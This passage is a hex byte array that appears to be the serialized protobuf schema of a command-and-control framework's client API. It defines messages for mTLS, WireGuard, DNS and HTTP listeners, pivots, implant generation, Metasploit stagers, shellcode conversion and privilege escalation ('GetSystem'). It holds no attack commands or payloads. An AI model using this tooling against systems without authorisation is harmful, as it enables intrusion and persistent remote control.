- 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, - 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, - 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, - 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, - 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, - 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, - 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, - 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, - 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, - 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, - 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, - 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, - 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, - 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, - 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, - 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, - 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, - 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, - 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, - 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, - 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, - 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, - 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, - 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, - 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, - 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, - 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, - 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, - 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, - 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, - 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, - 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, - 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, - 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, - 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, - 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, - 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, - 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, - 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, - 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, - 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, - 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, - 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, - 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, - 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, - 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, - 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, - 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, - 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, - 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, - 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, - 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, - 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, - 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, - 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, - 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, - 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, - 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, - 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, - 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 